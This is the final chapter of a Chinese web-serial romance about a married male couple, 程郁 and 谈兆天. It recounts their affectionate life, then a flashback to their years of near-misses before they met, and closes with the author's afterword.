“我爱你，也只会爱你。” “无论以后发生什么，无论以后我们经历什么，我也都会一如既往地爱你。” 程郁：“那我们说定了。” 谈兆天：“说定了。” 两人相视一笑，再次拥抱。 程郁笑得特别的开心，谈兆天抚摸程郁的后脑，爱惜地亲吻他的耳后。 这一刻，开遍屋内的，不止鲜花，还有满室的幸福与爱意。 — “老公~~” 谈兆天在沙发躺着，程郁坐在他腰上，俯下身来亲他，一口又一口，么么么，跟小鸡啄米一样。 谈兆天忍俊不禁，闷笑，胸腔都在震颤。 程郁甜得要命，尤其是跟他表白过后，每天老公老公的，还总亲来亲去，谈兆天简直要被甜死了。 程郁这会儿还在亲他，亲他的嘴巴、下巴、下颌、脖子，不停地亲来亲去，边亲还边说：“我爱你，我超爱你。” 谈兆天觉得自己快溺死在程郁的甜言蜜语里的，也格外的吃这套。 谈兆天被亲得实在受不了了，挺了挺腰，准备解裤带。 程郁这时又俯下身，脸贴着他，撒娇一样嗲嗲的，说：“老公，我要给你生十个儿子，再给你生十个女儿。” 谈兆天简直要笑死了，笑得解裤带的手都软了，胸腔震颤得，连带着贴着他的程郁都在一起跟着抖。 程郁嗔：“你笑什么啊。” 谈兆天笑得不行，笑了半天，说：“这个真的生不了。” 又说：“回头让你狗儿子帮你生一窝小的吧。” “哼。” 程郁佯装不爽，凑过来，牙尖咬了咬男人的下巴。 片刻后又贴着谈兆天亲来亲去，边亲边嗲：“老公老公。” 谈兆天心都要化了，翻了点身，把程郁挤去沙发靠背和自己身体之间，压着，亲，又去解裤带。 最近这些天都是这样的。 程郁和谈兆天仿佛进入了新一轮的蜜月期，两人不但整天泡在一起，还经常腻歪，特别的亲密浓情。 白天，谈兆天如果没什么事，就陪程郁来公司上班，中午两人一起吃饭，下午还在一起，无论程郁在公司忙，还是出去见什么人，又或者有应酬。 空了，程郁又和谈兆天出去玩儿、逛街、买东西、到处溜达。 两人比人家年轻小情侣都要甜蜜，去哪儿都会手牵手，程郁也会挽谈兆天的胳膊，或者两人索性勾肩搭背。 程郁从不吝啬表达自己。 他几乎每天都要和谈兆天说好几遍我爱你，亲吻、做/爱。 他还会在一起泡澡或者床上沙发上躺着的时候，给谈兆天唱歌，唱的是首老歌： “我在春天等你 思念随风化做雨 等待花又开的时候 和你在一起 天地之间守着我们的唯一”（注） 程郁很喜欢这首歌，他和谈兆天就是认识在春天，他也正和谈兆天相守着他们的唯一。 时间一晃，又到了夏天。 程郁和张君宁这日又出来一起按摩做spa。 做完spa、按摩结束，两人坐在各自的按摩床上端着碗嗦粉。 张君宁边嗦边道：“对了，你有没有问过你老公，当初怎么对你一见钟情的啊？” “我好像都没听你提过这件事。” “到底他怎么认识你的啊。” 程郁想了想：“他跟我提过的。” “他说他跟我在沙龙上表白之前的那几周，经常会在各种场合遇见我，看见我。” “他就是那时候喜欢我的。” 张君宁：“神奇，你不是也提过，刚认识他的时候，有段时间经常碰见他么。” “嗯，是啊。” 程郁嗦着粉：“就是挺神奇的。” 吃完粉，空碗摆去床头柜，程郁拿纸巾擦着嘴，另一手拿着手机，给谈兆天发语音：“老公，你在哪儿啊？等会儿来接我吗？” 声音微夹，还嗲嗲的。 听得张君宁白眼直翻，说他：“我以前怎么没发现你还有这幅面孔啊？” “肉不肉麻？” 程郁理直气壮：“这有什么肉麻的，我嗲的也是我自己的老公。” 继续去发语音：御演乄“你来接我啊，我今天没开车。” 谈兆天回：【好，我来接你，给我定位。】 程郁欢欢喜喜、开开心心。 张君宁在一旁看着，默默好笑，又在心里感慨：爱情，这么甜蜜的吗？把这个前单身主义都要哄成嗲精了。 当晚，谈兆天在浴室给程郁吹头发，吹到后面，短发捋起的时候，已经没有银白色了，都是黑发。 谈兆天吹着，程郁和他聊：“你知道么，我之前和嫂子、贺总都聊过，聊过他们各自爱情的母题是什么。” 程郁：“嫂子说，他的母爱母题是‘陪伴’。” “晓远哥说，他的爱情母题是‘成长’。” 程郁探讨的语气：“你说我们的爱情母题是什么？” 说着转身，面对谈兆天，伸手搂住男人的腰。 谈兆天把吹风机搁下，也搂程郁，想了想，问：“你觉得是什么？” 程郁说了：“我之前觉得是‘砸钱’。” 笑：“你真的砸了蛮多钱的，给的实在多。” 谈兆天品了品，点头：“也不错。” “不错什么不错。” 程郁嗔：“有没有得体体面点的词来概括了？想想啊。” 谈兆天想了，认真地想了想，说：“幸运？” 嗯？ 程郁看着他：“怎么说？” 谈兆天解释：“能遇见、认识，是幸运。后来你打破单身主义的坚持是幸运。我能安全从咖什回来，也是幸运。” 程郁琢磨了下，点头：“可以诶。幸运。” 程郁笑，手去捧男人的脸，说：“那你还记得在那个沙龙上，我们说的第一句话吗？” “当然记得。” 谈兆天想都没想，说：“我跟你说的第一句话是‘你好’，然后我介绍了自己的名字。” 程郁接着就说：“双火的谈，光纤的兆，天空的天。” 谈兆天意外：“你竟然记得。” “当然记得啊。” 程郁：“你说‘光纤的兆’的时候，我还反应了一下，什么‘光纤的兆’。” 程郁又搂男人的脖子，假装他们是第一次见面的情景，开口说：“谈老板你好，认识你，很‘幸运’。” “你要追我啊？” “那你追吧。” “我很好追的。” 谈兆天就笑了。 程郁也笑，去拥抱谈兆天。 他现在每时每刻没秒，都非常的幸福开心。 谈兆天很爱他，他也很爱谈兆天。 爱情，特别的美好。 于是程郁的履历“更新”了：程郁，男，27岁。仕鸿人力的老板，已婚，爱人名叫谈兆天，比他大三岁，今年30岁。 程郁曾经是坚定不移的单身主义。 26岁那年，他认识了谈兆天，短短几个月后，因为谈兆天先生给的实在太多了，程郁正式结束了多年坚持的单身主义。 某日，或者某刻，他爱上了谈兆天。 他们还结婚了，一起养了只大黑狗，过着一家三口的幸福生活。 再让程郁选一次，他还会单身主义吗？ 这谁知道呢。 但是再让程郁选一次，他会希望早点遇到谈兆天，早点爱上这个男人，这样的话，他们就会多一点相伴相爱的时间。 程郁：我曾经是单身主义，现在不是了。 我爱我的先生，我的先生是谈兆天。 谈兆天，我爱你~！ 很多很多很多年前，S大—— 某日，程郁背着书包、怀里抱着几本书，走下台阶，离开图书馆。 一辆面包车从他面前速度不快不慢地驶过，半落的贴了膜的黑色车窗内，方向盘后，谈兆天面无表情地开着车。 车向北。 程郁向东。 某日，程郁吃完饭，从食堂正门出来。 正门角落，谈兆天一步跨上三级台阶，走进食堂。 一个往外。 一个向内。 某日，傍晚，程郁去学校一个叫“家惠”的小超市买东西。 他走进超市，站在货架前挑选自己想买的东西。 超市门口不远，谈兆天把面包车停好。 程郁拿到自己要买的，排队在收银台前等着结账。 谈兆天搬了面包车屁股后的一箱箱货，往超市里送。 程郁排队，等着结账，面朝收银柜台，背对身后的货架。 谈兆天进超市，没看门口等着结账的几个学生，专注搬货。 谈兆天搬着东西再次进超市的时候，恰好程郁结完账付好钱，拿着东西抬步离开，走出超市。 某日，程郁从学校零食店门口停着的一辆大车旁走过，车头，谈兆天和人边抽烟边站着一起闲聊了几句话。 谈兆天嘴里抿着烟抽着，程郁走过，闻到了烟味，转头看了眼，看见了一个个子很高的穿着绿色坎肩的男人在抽烟。 程郁没细看，很快收回目光，脚步没有停留地走过去。 谈兆天的余光也留神到有人从一旁走过，他压根没注意，继续和人说话。 某日，程郁和朋友一起走在学校的林荫道上，边走边说着话。 旁边，一辆车不快不慢地驶过，谈兆天坐在副驾。 程郁在教室上课，谈兆天开车进S大。 程郁坐在图书馆自习，谈兆天在超市修收银机。 程郁吃饭，谈兆天在零食店门口点货。 程郁拍集体毕业照，谈兆天开着车远远驶过、看见，好奇地扫了一眼。 …… 程郁在S大上了四年学，谈兆天给S大的超市和两个零食店送了四年的货。 四年，程郁从未见过谈兆天，谈兆天也从未见过程郁。 他们无数次偶遇，无数次擦肩而过。 程郁毕业，在朱雅岚的帮忙下，租在了一个老小区的次卧。 价格便宜，就是通勤时间太久。 程郁挺喜欢这附近的，什么都有，还有他喜欢的黄焖鸡，他经常去吃。 程郁吃黄焖鸡，黄焖鸡门前的路上，谈兆天开车驶过。 程郁吃完黄焖鸡，从店里出来，谈兆天的车停在离黄焖鸡不远的一家苍蝇小馆门口，正在卸货。 程郁在老小区附近溜达，不远的十字路口，谈兆天再次开车驶过。 程郁早上很早就起床，去赶通勤，谈兆天起得也早，去水果早市进货。 程郁通勤的方向在东面，水果早市在城市的西头。 程郁赶到公司，坐在工位匆匆忙忙吃掉早饭。 另一边，谈兆天站在路边啃包子。 程郁开始一天的工作，捧着一大摞文件穿过一排工位。 谈兆天坐在方向盘后面，方向盘上垫着账本，他嘴里咬着点燃的烟，蹙眉看着被自己写得乱七八糟的账。 程郁在工位忙得焦头烂额。 谈兆天先后接到N个电话，全是生意上出了这个那个问题，等着他去解决。 程郁对等着文件的同事说：“稍等啊，马上好。” 谈兆天打电话，张口就骂：“催催催，催你个魂儿！等着！” 程郁坐在工位，为快节奏的工作流程默默抬手扶额。 谈兆天叼着烟开车，一脸的不爽。 终于下班了，已经是晚上十点了，程郁走出公司大楼，转转头、扭扭肩，默默吐了口气。 他看眼前，CBD灯光霓虹，漂亮得像是璀璨的星空。 但程郁有些茫然，不知道这座城市，到底能不能容下他这样的普通人。 加油吧。 程郁默默鼓励自己。 别人如果行，你一定也行。 谈兆天在修车厂的天井，坐着小马扎，蹲在小木桌前，叼着烟跟几个修车工一起打牌。 “炸！” 谈兆天豪迈利落地扔下四张牌。 “有吗有吗？还有吗？出不出？没得出吧？” 谈兆天问完一圈，再次利落地一把甩下手里所有的牌：“5678910J！” “顺子！” 说完伸手：“赢了赢了，掏钱。” 休息日，程郁跟认识的朋友去某湖景区溜达。 程郁和朋友边聊天边走在一起，经过一个租电瓶车的地方，朋友还问程郁，要不要租辆车。 程郁看过去一眼：“不租了吧，我们走走。” 不远处，谈兆天背对人群的方向，正在帮人扫码租车。 对方问他能便宜些吗，谈兆天嘴里叼着烟：“便宜不了，都是扫码付钱租的，钱也不是给我。” “钱要是给我的，便宜就便宜点。” 对方拿着手机：“扫哪儿啊？” 谈兆天指了指车头的二维码：“这里，扫这儿。” 程郁艰难地留在了康景，积累了足够的工作经验后，通过一个熟识的猎头，终于这日，他跳槽去了经纬投资，成为了大老板陆泽深的三助。 同一日，新酒吧开业，谈兆天在酒吧门口拿自己手里的烟点鞭炮。 一个小弟跑过来：“天哥！不许放炮的！城管要骂的！” 谈兆天已经点了，在噼里啪啦的鞭炮声中缩着脖子跑开，回：“反正都要骂，放完再说。” 小弟哭笑不得。 程郁努力工作。 谈兆天管生意管得随意，谈征觉得他天天打摆子，见到他就骂。 程郁越过一助，直接成为了陆泽深的特助。 谈兆天的酒店开业，他又拿着烟，准备去点炮，被谈征骂了。 程郁去看房子，看到一套公寓，很心仪，价格也比同栋楼的其他房子便宜，就是房东要求高，只租给素质高的白领，程郁特意准备了一份“简历”，希望房东能看上他，把房子租给他。 谈兆天那套房子简装好了，空关了几个月，味道散得差不多了。 但他懒得搬，最后没有搬，还住老房子。 程郁去宝马4s店，看的五系。 谈兆天去了奔驰5s店，加价买大G。 这几年，程郁与谈兆天极少有交集，各自过着各自的人生。 直到程郁和谈兆天正式认识的几周前—— 这日晚上下了雨，谈兆天的心情不好不坏，车速也开得不快不慢，没多久，就开到了天鹅路。 天鹅路路窄，没有分机动车和非机动车道，来回双向也只有各自的两条路，不是一般的堵。 绿灯足足70秒，谈兆天却卡在黄灯，没有开过去，停在了白线之后。 红灯跳转，谈兆天没有神情地坐在方向盘后，默默等。 车窗落下去大半，窗外的雨水淅淅沥沥，世界也昏暗不明，不似白天那么清晰。 谈兆天就是在这时候看见的那个年轻男人。 他站在不远处十字路口的一个店面门口的屋檐下和人闲聊。 他四周有灯，光线亮，将他的面孔和身姿照得一览无余，高、瘦、年轻，一张脸非常的英俊漂亮。 谈兆天看见了，禁不住多看了一眼，又忍不住多看了好几眼，最后一直盯着看，看到绿灯跳起他都没注意，还是身后催促的喇叭令他回过了神。 即便如此，开过线的时候，谈兆天的目光还是向着路口屋檐下的那个年轻男人，直到彻底开过去了，看不见了。 谈兆天默默消化，觉得年轻男人实在太好看了，完全卡死在他的审美上，只是看着，他心口都嘭嘭直跳。 谈兆天没犹豫，马上调头，开回刚刚的路口。 但等他开回去的时候，那个之前站在屋檐下的年轻男人已经不见了。 不知是走了，还是进了店内。 路边不好停车，否则谈兆天就停下来了。 他开过路口，右拐，在里面的巷子想办法停车，停好车马上下来，跑回刚刚的路口。 他在年轻男人之前站的附近找了找，没有找到。 他又进那家餐厅，找了找，也没有找到。 出来，谈兆天在绿灯前穿过人行横道，快步，边走边找，还是没有找到。 谈兆天的心口怦怦跳，举目四望，没有那道身影，只觉得特别的遗憾。 结果没两天，谈兆天再次见到了那个年轻男生。 男生在他的台球厅和人一起打台球。 商场的店，禁烟，价格也高，店里的生意其实一直不好，谈兆天今天过来，也是因为这家店总赔钱，在考虑要不要关了，或者转给别人。 看见那个男生的时候他很惊讶，世界原来这么小？ 他去收银台前，问店里的服务员，9号桌有没有登记信息，是不是会员。 服务员帮他查，查到是会员，半个月之前刚办的卡，办卡的人叫程郁，登记信息里还有电话号码。 程郁。 他叫程郁？ 谈兆天默默记下了这个名字，也抄下了电话号码，微信上搜到了微信号。 很幸运，微信头像就是男生本人。 原来他叫程郁。 谈兆天添加好友，发过去申请。 但他没有去9号桌搭讪，怕影响男生打球的兴致，也不想没有准备地冒昧上前，给对方留下不好的印象。 他就这么不远不近地看着男生打球，一直默默地看着，直到男生打完球，收杆离开。 谈兆天当时以为他有号码，能加上微信的。 但程郁走了之后，并没有通过他的微信申请。 谈兆天就有点后悔当时没借着打球的气氛上前搭讪。 如今就算有号码，他也迟疑，不知道该用什么样的方式合理地和对方说上话。 谈兆天这一迟疑，就是两天。 结果两天后的这日，他再次偶遇了程郁。 程郁在他名下的书店里喝咖啡看书，谈兆天是来送书的，车刚停下，他下车，目光穿过书店的落地玻璃，就看见了窗边坐着的程郁。 谈兆天错愕了下，没想到又这么巧。 而看着程郁，看着年轻男人和他英俊的脸，默默的，谈兆天心里就很喜欢。 这种喜欢一个人的感觉太明显了，谈兆天根本忽略不了。 而谈兆天不愧是多年单身的光棍儿，接下来，他又做了一件不合时宜的事： 他写了张想认识程郁的便签，还在便签上留下自己的手机号码，找店内的营业员，让营业员给程郁送杯咖啡的同时，一起把便签纸递给男生。 谈兆天觉得这样总该万无一失了，不想他搬完书回来的时候，程郁已经走了。 他让营业员送的咖啡，程郁没有动，那张纸条，程郁不知有没有看过，也被留下，压在咖啡杯下。 谈兆天再次遗憾，也意识到自己的方法可能不对，冒犯了程郁，程郁不喜欢这样。 而奇妙的是，接下来十天，谈兆天在自己活动的范围内，频繁的偶遇、看见程郁： 清吧，程郁在喝酒； 超市，程郁在买东西； 保龄球馆，程郁在和人打球； …… 谈兆天觉得不可思议，就算巧，也不能巧成这样。 如果不是程郁一直不认识他，他都要怀疑程郁是不是喜欢他、故意跟着他了。 而越是频繁地见到程郁，谈兆天越确定，他喜欢程郁，很喜欢。 一见钟情也好，见色起意也罢，喜欢就是喜欢。 他也特意去打听了程郁，知道了程郁的年龄、工作单位等一些基本情况，也知道程郁单身，没有伴侣，更没有结婚。 终于这日，谈兆天决定主动出击。 他打听到程郁可能会去某个投资圈的沙龙，特意换了身西服，想要给程郁留个好印象，也想通过主动的方式，正式认识程郁。 他到沙龙后，等了挺久的，才见程郁身边没人了、一个人端了盘子独自在餐桌落座吃饭。 谈兆天没有迟疑的，走过去。 他在程郁对面的位子坐下，一坐下，程郁就抬头看了过来，明显顿了顿，但神色维持着沉稳从容，跟着就道了句“你好”，同时伸了公务手过来。 谈兆天也伸手过去，温暖的掌心和年轻男人轻轻握了握，也郑重沉稳地打招呼道：“你好。” “我叫谈兆天。” “双火的谈。” “光纤的兆。” “天空的天。” 命运的齿轮，自此开始转动- 完- 作者有话要说： 注：歌曲出自杨钰莹《我在春天等你》 又写完一本啦，开心，这本连载了两个月差几天，我大概写了一个半月，整体上写得还是蛮顺利的，也把心里想写的故事和内容都写完了，除了成绩一般般、写到今天也只有五千收（sad），其他各方面我都挺满意的，写得非常开心，也很高兴大家陪了我这么久，撒花鞠躬~~ ps：这本感情流，内容和感情线上都没什么遗憾，就不写番外啦（确实也没想到番外可以写点什么）~~ 推推隔壁《九零年代之纨绔重生》，我们新文见~~[亲亲]【魔蝎小说 mo xie xs .c om】